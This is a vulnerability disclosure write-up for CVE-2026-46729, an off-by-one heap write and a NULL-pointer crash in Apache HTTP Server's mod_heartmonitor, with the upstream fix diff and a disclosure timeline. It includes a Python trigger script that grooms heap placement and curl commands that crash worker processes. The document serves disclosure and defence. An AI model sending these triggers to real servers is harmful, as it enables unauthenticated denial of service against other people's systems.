One Byte Too Far: Heap Buffer Overflow in Apache HTTP Server's mod_heartmonitor

CVE
CVE-2026-46729
CVSS
7.5 High (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) — self-assessed; official score pending
CWE
CWE-787 / CWE-193 (Out-of-bounds Write)
Component
mod_heartmonitor — Apache HTTP Server 2.4.x, trunk
Upstream Fix
trunk r1938653 (1f5b504654), 2.4.x r1938654 (7b12a7936e)

: Vulnerability identified during audit of httpd 2.4.68 and trunk
: 08:20 UTC — Upstream fix committed to public Git repository
: 11:33 UTC — Report and ASan evidence submitted to Apache Security
: 22:46 UTC — ASF confirms CVE-2026-46729; credited as additional finder
: Published this technical analysis

This article examines an unauthenticated heap out-of-bounds write vulnerability in Apache HTTP Server's mod_heartmonitor, tracked as CVE-2026-46729.

At a high level, any client capable of sending an HTTP POST request to a location configured with SetHandler heartbeat can trigger a deterministic one-byte out-of-bounds write past a 1,000-byte heap buffer. The handler allocates exactly MAX_MSG_LEN bytes for the request body, reads up to MAX_MSG_LEN bytes from the client bucket brigade, and unconditionally writes a terminating NUL character at buf[len]. Whenever the payload is 1,000 bytes or longer, len equals 1,000, causing a NUL byte to be written at buf[1000] — exactly one byte beyond the buffer boundary.

Several aspects of this vulnerability and its lifecycle stand out:

Background: Load Balancing and Clustered Heartbeats

In high-availability enterprise architectures, frontend HTTP reverse proxies must dynamically monitor the operational health and active request volume of backend cluster nodes. Within the Apache HTTP Server ecosystem, this functionality is provided by mod_proxy_balancer in conjunction with mod_heartmonitor and mod_lbmethod_heartbeat.

Backend nodes run mod_heartbeat, which periodically broadcasts status updates containing server load metrics (such as busy worker slots and idle capacity). mod_heartmonitor runs on proxy directors to collect these heartbeat updates and populate a shared memory slotmem cache (slotmem_shm).

The module supports two ingestion transports:

<Location "/hb">
    SetHandler heartbeat
</Location>

While mod_heartmonitor is not loaded in default out-of-the-box configurations, it is standard infrastructure in clustered reverse-proxy environments (including enterprise distributions such as Red Hat JBoss EWS and Apache mod_cluster deployments). Crucially, the HTTP handler implements no transport authentication or session handshake: any client reaching the endpoint is processed immediately as an incoming cluster node update.

Vulnerability Mechanics: Anatomy of an Asymmetric Off-by-One

Heartbeat messages are constrained by a global protocol definition in modules/cluster/mod_heartmonitor.c:

#define MAX_MSG_LEN (1000)

The HTTP request handler, hm_handler (line 772 in Apache 2.4.68), is registered at APR_HOOK_FIRST priority. When an HTTP POST is received, it executes the following logic:

static int hm_handler(request_rec *r)
{
    apr_size_t len = MAX_MSG_LEN;
    apr_status_t status;
    apr_bucket_brigade *input_brigade;
    char *buf;
    ...

    if (r->method_number != M_POST) {
        return HTTP_METHOD_NOT_ALLOWED;
    }

    len = MAX_MSG_LEN;
    ctx = ap_get_module_config(r->server->module_config,
            &heartmonitor_module);

    buf = apr_pcalloc(r->pool, MAX_MSG_LEN);
    input_brigade = apr_brigade_create(r->connection->pool,
                                     r->connection->bucket_alloc);
    status = ap_get_brigade(r->input_filters, input_brigade,
                            AP_MODE_READBYTES, APR_BLOCK_READ,
                            MAX_MSG_LEN);
    if (status != APR_SUCCESS) {
        return ap_map_http_request_error(status, HTTP_BAD_REQUEST);
    }
    apr_brigade_flatten(input_brigade, buf, &len);

    /* we can't use hm_processmsg because it uses hm_get_server() */
    buf[len] = '\0';
    tbl = apr_table_make(r->pool, 10);
    qs_to_table(buf, tbl, r->pool);
    ...

The flaw lies in the relationship between apr_pcalloc, apr_brigade_flatten, and the manual null terminator:

  1. apr_pcalloc(r->pool, 1000) allocates an exact 1,000-byte buffer at the frontier of the request pool.
  2. ap_get_brigade pulls up to MAX_MSG_LEN bytes from the request input filter chain into input_brigade.
  3. apr_brigade_flatten(input_brigade, buf, &len) copies the brigade contents into buf. In APR's brigade implementation (apr_brigade.c:243), *len is treated as the buffer capacity. If the incoming request body has 1,000 bytes or more, apr_brigade_flatten copies exactly 1,000 bytes and sets len = 1000.
  4. The handler then executes buf[len] = '\0'. With len == 1000 and an allocation of 1,000 bytes (indices 0..999), buf[1000] writes a single NUL byte outside the allocated boundary.

Examining the sibling UDP packet processing function (hm_recv) reveals how this omission occurred:

static void * APR_THREAD_FUNC hm_recv(apr_thread_t *thd, void *rec)
{
    char buf[MAX_MSG_LEN + 1];   /* UDP receiver: explicitly reserves +1 byte */
    apr_size_t len = MAX_MSG_LEN;
    ...
    apr_socket_recvfrom(..., buf, &len);
    buf[len] = '\0';
    ...

In the UDP listener, the buffer had always been declared with MAX_MSG_LEN + 1. When the HTTP POST handler was added in commit 84c7d1c676f (July 6, 2009) to allow HTTP-based heartbeat reporting, the author copied the buf[len] = '\0' idiom but allocated only MAX_MSG_LEN bytes via apr_pcalloc. This single missing byte persisted unnoticed through every major and minor release of the Apache 2.4 branch.

+-------------------------------------------------------------+---+
|                buf: apr_pcalloc(r->pool, 1000)              |???|
|  [0]                                                 [999]  |   |
+-------------------------------------------------------------+---+
                                                                |
  buf[len] = '\0'  (len == 1000)  ------------------------------+
  (1-byte Out-of-Bounds NUL Write)

Deterministic Boundary Placement via Pool Feng Shui

To verify the physical reality of the memory corruption, I built Apache HTTP Server 2.4.68 from pristine source using Clang 18 with AddressSanitizer (ASan), UndefinedBehaviorSanitizer (UBSan), and APR pool debug instrumentation (-DAPR_POOL_DEBUG=1).

In Apache's architecture, apr_pcalloc(r->pool, size) does not call the system malloc() directly for every allocation. Instead, the Apache Portable Runtime manages memory in pools backed by an internal allocator. The allocator requests large blocks (typically 8,192 bytes, represented as apr_memnode_t) from the operating system via malloc() and fulfills pool allocations by advancing an internal bump pointer.

Because buf is carved from the active apr_memnode_t of r->pool, previous allocations performed on r->pool during request ingestion — specifically, incoming HTTP request headers copied via apr_pstrdup — advance the bump pointer ahead of buf.

This allows an attacker to perform precise, deterministic "pool feng shui": by sending a padding header (e.g. X-Pad: AAAA...) of varying lengths, the attacker shifts the base address of buf. When the remaining capacity in the active 8KB allocator node equals exactly 1,000 bytes, buf occupies the very tail of the node, and the out-of-bounds write at buf[1000] crosses the 8,192-byte OS allocation boundary.

A minimal trigger script demonstrates this placement:

import socket

target = ("127.0.0.1", 35051)

# Sweep padding from 0 to 8168 in 8-byte increments
for pad_len in range(0, 8192, 8):
    s = socket.create_connection(target)
    body = b"v=1&busy=1&ready=1&" + b"A" * 1000
    req = (
        b"POST /hb HTTP/1.1\r\n"
        b"Host: 127.0.0.1\r\n"
        b"Content-Length: " + str(len(body)).encode() + b"\r\n"
        b"X-Pad: " + (b"A" * pad_len) + b"\r\n"
        b"\r\n"
        + body
    )
    s.sendall(req)
    resp = s.recv(1024)
    s.close()

When the padding aligns the allocation with the node boundary, AddressSanitizer immediately catches the out-of-bounds write:

=================================================================
==3802065==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x5250001e4900
WRITE of size 1 at 0x5250001e4900 thread T32
    #0 0x7fb142e3d37e in hm_handler modules/cluster/mod_heartmonitor.c:772
    #1 0x57a5a4 in ap_run_handler server/config.c:169
    #2 0x57d27c in ap_invoke_handler server/config.c:443
    #3 0x61b1c0 in ap_process_async_request modules/http/http_request.c:452
    #4 0x606bd9 in ap_process_http_async_connection modules/http/http_core.c:155
    #5 0x6076cc in ap_process_http_connection modules/http/http_core.c:246
    #6 0x5c32b4 in ap_run_process_connection server/connection.c:42
    #7 0x6701e1 in process_socket server/mpm/event/event.c:1098
    #8 0x67f4a6 in worker_thread server/mpm/event/event.c:2252

0x5250001e4900 is located 0 bytes after 8192-byte region [0x5250001e2900,0x5250001e4900)
allocated by thread T28 here:
    #0 0x7fb1490fc667 in malloc (/lib64/libasan.so.8+0xfc667)
    #1 0x7fb148e4de8f in allocator_alloc (libapr-1.so.0)
    #2 0x7fb148b5eea4 in apr_bucket_alloc buckets/apr_buckets_alloc.c:198
    #3 0x7fb148b68450 in socket_bucket_read buckets/apr_buckets_socket.c:34

This confirms that the write is an unauthenticated, remotely reachable out-of-bounds heap write occurring at an attacker-steerable boundary offset.

Exploitation Assessment: Beyond the Paper Tiger

In vulnerability research, declaring "unauthenticated remote heap overflow" is easy; proving meaningful real-world exploitability requires rigorous systems engineering. To evaluate whether this primitive can achieve remote code execution, we must analyze the memory layout across different runtime environments.

1. Constraints on the Primitive

2. The glibc Malloc Reality: Structural Inertness

Under default enterprise Linux distributions (RHEL, Debian, Ubuntu), Apache links against glibc's ptmalloc3 allocator. When an 8,192-byte apr_memnode_t is allocated, it is surrounded by standard glibc chunk metadata:

+---------------------------------------+
|  Chunk A (8192-byte APR memnode)      |
|  ... data ...                         |
+---------------------------------------+ <-- Node boundary
|  Chunk B: prev_size (8 bytes)         | <-- buf[1000] lands on byte 0
|  Chunk B: size | flags (8 bytes)      |
|  Chunk B: user data ...               |
+---------------------------------------+

When buf[1000] crosses the chunk boundary, it strikes the least significant byte of Chunk B's prev_size field, zeroing it. In classic heap exploitation tutorials, corrupting prev_size facilitates backward consolidation during free(), leading to chunk overlapping and arbitrary write primitives.

However, glibc's internal invariants render this path structurally inert in Apache:

  1. The Preceding Chunk Overwrite: In glibc, prev_size is only evaluated if the preceding chunk is free (i.e. if the PREV_INUSE bit on Chunk B is cleared). However, when Chunk A is eventually freed via free(ChunkA), glibc's _int_free() immediately sets ChunkB->prev_size = ChunkA->size before performing backward coalescing checks. The corrupted byte is overwritten with the legitimate chunk size before it can ever be read.
  2. APR Node Retention: Apache's allocator caches freed memory nodes in an internal freelist (up to MaxMemFree, default 2MB) rather than releasing them to glibc via free(). As a result, the adjacent chunk rarely undergoes glibc consolidation during the lifetime of the worker.

To verify this empirically, I ran an automated sweep of 2,000 requests with varying padding alignments against an uninstrumented, vanilla production build of Apache 2.4.68 on Linux x86_64. Even with glibc diagnostics enabled (MALLOC_CHECK_=3, MALLOC_PERTURB_=0xaa), all 2,000 requests completed with 200 OK. The process did not crash, hang, or emit allocator warnings. On vanilla glibc, the one-byte NUL overwrite is completely silent and structurally dormant.

3. Alternative Allocators (jemalloc, tcmalloc)

Modern high-performance deployments frequently run Apache or reverse proxies under alternative allocators like jemalloc or tcmalloc via LD_PRELOAD. These allocators do not use inline chunk headers (like prev_size). Instead, metadata is stored in separate out-of-band radices, and allocations of identical size classes are placed strictly contiguous in memory.

Under jemalloc, crossing an allocation boundary means buf[1000] writes directly into byte 0 of an adjacent active object. If that object begins with a pointer (e.g. an APR freelist next pointer, a vtable pointer, or a callback context), clearing its least significant byte shifts the target address by up to 255 bytes. While this represents a viable corruption vector in theory, exploiting it requires complex cross-thread object grooming. A 2,000-request sweep under jemalloc remained similarly stable, demonstrating that accidental weaponization is highly improbable.

4. Denial of Service Outcomes

While arbitrary code execution remains unproven, the write reliably induces denial of service under specific, realistic deployment models:

5. CVSS Evaluation

Based on these findings, I assessed the vulnerability as CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H (Base Score: 7.5 High). The vulnerability is unauthenticated, network-reachable, and requires zero user interaction. Because worker thread segmentation faults cause the child process to terminate and drop all active concurrent connections, Availability impact is High. Confidentiality and Integrity are assessed as None, as code execution and data exfiltration could not be demonstrated under standard operating conditions.

A Sibling Zero-Day in Plain Sight: Unauthenticated Remote Crash via atoi(NULL)

While analyzing the handler's parameter parsing logic, I identified a separate, immediate denial of service vulnerability in the very same function. Immediately following the buffer flattening, hm_handler parses the message query string into an APR table and extracts server metrics:

    tbl = apr_table_make(r->pool, 10);
    qs_to_table(buf, tbl, r->pool);
    apr_sockaddr_ip_get(&ip, r->connection->client_addr);
    hmserver.ip = ip;
    hmserver.port = 80;
    if (apr_table_get(tbl, "port") != NULL)
        hmserver.port = atoi(apr_table_get(tbl, "port"));
    hmserver.busy = atoi(apr_table_get(tbl, "busy"));
    hmserver.ready = atoi(apr_table_get(tbl, "ready"));
    hmserver.seen = apr_time_now();
    hm_update_stat(ctx, &hmserver, r->pool);

Notice the defensive handling of port: it explicitly verifies that apr_table_get(tbl, "port") != NULL before calling atoi(). However, the subsequent two lines do not:

    hmserver.busy = atoi(apr_table_get(tbl, "busy"));
    hmserver.ready = atoi(apr_table_get(tbl, "ready"));

If an HTTP POST request supplies a body that does not contain the busy or ready parameters (such as POST /hb with v=1&x=1 or an empty body), apr_table_get() returns NULL. Passing a null pointer to the standard C library's atoi() function causes an immediate dereference of address 0x0, crashing the process with SIGSEGV.

I tested this directly against the vanilla Apache 2.4.68 server:

# Normal valid heartbeat returns 200 OK
curl -X POST http://127.0.0.1:45678/hb -d "v=1&busy=1&ready=1"
# Response: HTTP/1.1 200 OK

# Malformed heartbeat omitting busy/ready
curl -X POST http://127.0.0.1:45678/hb -d "v=1&x=1"
# Response: curl: (52) Empty reply from server

The Apache error log records the catastrophic failure immediately:

[Sat Oct 03 10:13:35.395829 2026] [core:notice] [pid 2378376:tid 2378376] AH00051: child pid 2378378 exit signal Segmentation fault (11), possible coredump in /tmp/httpd-vanilla-install

Under the standard event MPM, killing a worker child process drops every active keep-alive connection being serviced by that process. Because the request requires no authentication and can be sent repeatedly, any remote client can continuously crash Apache worker processes with single-packet HTTP POST requests.

This NULL-dereference flaw had been reported to the Apache security team in July 2026 and was also tracked under CVE-2026-46729.

Upstream Remediation & Diff Analysis

On , Apache HTTP Server committer Eric Covener committed the definitive fix to the development trunk (revision r1938653, commit 1f5b504654), followed immediately by the 2.4.x backport (revision r1938654, commit 7b12a7936e).

The upstream commit comprehensively resolves both the off-by-one heap overflow and the parameter parsing crashes:

--- a/modules/cluster/mod_heartmonitor.c
+++ b/modules/cluster/mod_heartmonitor.c
@@ -756,11 +759,27 @@ static int hm_handler(request_rec *r)
         return HTTP_METHOD_NOT_ALLOWED;
     }

-    len = MAX_MSG_LEN;
     ctx = ap_get_module_config(r->server->module_config,
             &heartmonitor_module);

-    buf = apr_pcalloc(r->pool, MAX_MSG_LEN);
+    /* Check if module is active */
+    if (!ctx || !ctx->active) {
+        ap_log_rerror(APLOG_MARK, APLOG_ERR, 0, r, APLOGNO(10561)
+                      "Heartbeat monitoring not active");
+        return HTTP_SERVICE_UNAVAILABLE;
+    }
+
+    /* Validate Content-Length before reading */
+    if (r->remaining > MAX_MSG_LEN) {
+        ap_log_rerror(APLOG_MARK, APLOG_ERR, 0, r, APLOGNO(10562)
+                      "Heartbeat message too large: %" APR_OFF_T_FMT " bytes (max %d)",
+                      r->remaining, MAX_MSG_LEN);
+        return HTTP_REQUEST_ENTITY_TOO_LARGE;
+    }
+
+    len = MAX_MSG_LEN;
+    /* Allocate buffer with space for null terminator */
+    buf = apr_pcalloc(r->pool, MAX_MSG_LEN + 1);
     input_brigade = apr_brigade_create(r->connection->pool, r->connection->bucket_alloc);
     status = ap_get_brigade(r->input_filters, input_brigade, AP_MODE_READBYTES, APR_BLOCK_READ, MAX_MSG_LEN);
     if (status != APR_SUCCESS) {
@@ -772,13 +791,49 @@ static int hm_handler(request_rec *r)
     buf[len] = '\0';
     tbl = apr_table_make(r->pool, 10);
     qs_to_table(buf, tbl, r->pool);
+
+    /* Validate required parameters - prevent NULL pointer dereference */
+    if (apr_table_get(tbl, "busy") == NULL ||
+        apr_table_get(tbl, "ready") == NULL) {
+        ap_log_rerror(APLOG_MARK, APLOG_ERR, 0, r, APLOGNO(10563)
+                      "Missing required parameters: busy and/or ready");
+        return HTTP_BAD_REQUEST;
+    }
+
     apr_sockaddr_ip_get(&ip, r->connection->client_addr);
     hmserver.ip = ip;
     hmserver.port = 80;
-    if (apr_table_get(tbl, "port") != NULL)
-        hmserver.port = atoi(apr_table_get(tbl, "port"));
-    hmserver.busy = atoi(apr_table_get(tbl, "busy"));
-    hmserver.ready = atoi(apr_table_get(tbl, "ready"));
+
+    /* Validate and parse port with proper bounds checking */
+    val = apr_table_get(tbl, "port");
+    if (val != NULL) {
+        port_long = strtol(val, &endptr, 10);
+        if (*endptr == '\0' && port_long > 0 && port_long <= 65535) {
+            hmserver.port = (unsigned int)port_long;
+        }
+        else {
+            ap_log_rerror(APLOG_MARK, APLOG_WARNING, 0, r, APLOGNO(10564)
+                          "Invalid port value: %s, using default 80", val);
+        }
+    }
+
+    /* Parse busy and ready with validation */
+    val = apr_table_get(tbl, "busy");
+    hmserver.busy = (int)strtol(val, &endptr, 10);
+    if (*endptr != '\0') {
+        ap_log_rerror(APLOG_MARK, APLOG_WARNING, 0, r, APLOGNO(10565)
+                      "Invalid busy value: %s, using 0", val);
+        hmserver.busy = 0;
+    }
+
+    val = apr_table_get(tbl, "ready");
+    hmserver.ready = (int)strtol(val, &endptr, 10);
+    if (*endptr != '\0') {
+        ap_log_rerror(APLOG_MARK, APLOG_WARNING, 0, r, APLOGNO(10566)
+                      "Invalid ready value: %s, using 0", val);
+        hmserver.ready = 0;
+    }
+
     hmserver.seen = apr_time_now();
     hm_update_stat(ctx, &hmserver, r->pool);

The patch introduces five distinct security enhancements:

  1. Allocation Extension: apr_pcalloc(r->pool, MAX_MSG_LEN + 1) reserves the necessary 1,001st byte for the null terminator, eliminating the out-of-bounds write entirely.
  2. Pre-flight Size Enforcement: Inspects r->remaining before reading bucket brigades. If the declared body exceeds MAX_MSG_LEN, the server returns 413 Payload Too Large.
  3. State Validation: Rejects requests with 503 Service Unavailable if the heartbeat monitor module is inactive (!ctx || !ctx->active).
  4. NULL-Pointer Defense: Validates the presence of busy and ready parameters before parsing, returning 400 Bad Request on omissions.
  5. Robust Integer Parsing: Replaces unsafe atoi() calls with strtol(), verifying port ranges (1..65535) and trapping trailing garbage characters.

Disclosure, The Three-Hour Race, and Credit

On at 11:33 UTC, I sent a vulnerability report containing the technical analysis, reproduction script (trig_hb_oob.py), and complete AddressSanitizer crash logs to security@apache.org.

Piotr P. Karwasz of the Apache Security Team forwarded the report to the dedicated HTTP Server security team at security@httpd.apache.org. In his forwarding notice, he noted:

"The report arrived a couple of hours after a public patch was committed to the repo. Normally we would reject all reports that arrived after the issue was already publicly fixed, but in this case the margin is very small, so we prefer to leave the credit decision to you."

Shortly thereafter, Apache HTTP Server Vice President Eric Covener responded directly:

"Thanks for your report. CVE-2026-46729 had been previously allocated for this issue and a change has been committed around the time of your email. We have added you as an additional finder/reporter."

The upstream commits (trunk r1938653 and 2.4.x r1938654) had been pushed to Apache's public Subversion and Git mirrors at 08:20 UTC — approximately three hours and thirteen minutes prior to my submission. An independent researcher had submitted an earlier report on August 12, 2026 covering the same underlying out-of-bounds write (interpreted as a potential request smuggling hazard). Because our research was conducted completely independently and arrived within hours of the public commit, the PMC graciously extended co-credit under CVE-2026-46729.

Affected Versions and Remediation

The out-of-bounds write is present in all Apache HTTP Server versions from 2.4.0 through 2.4.68, as well as development trunk prior to commit 1f5b504654. The legacy Apache 2.2 series did not contain mod_heartmonitor.

Organizations operating Apache reverse proxies should take the following measures:

Timeline

DateEvent
Commit 84c7d1c676f introduces HTTP heartbeat handler with missing +1 byte buffer allocation
Apache 2.4.0 released containing the vulnerable code
Earlier report filed regarding NULL-pointer dereference in hm_handler (CVE-2026-46729)
Earlier independent report submitted regarding mod_heartmonitor out-of-bounds write
Vulnerability independently identified during comprehensive security audit of Apache 2.4.68
Upstream fixes committed to trunk (r1938653) and 2.4.x (r1938654)
Technical report, PoC, and ASan trace submitted to security@apache.org
Apache HTTP Server PMC acknowledges report; adds Keita Sode as additional finder/reporter
Public write-up published

Reporter: Keita Sode (SYZD Research). Special thanks to Eric Covener, Piotr P. Karwasz, and the Apache HTTP Server Security Team for their prompt response, courteous coordination, and gracious extension of co-credit. All empirical testing was conducted against locally isolated, private test environments.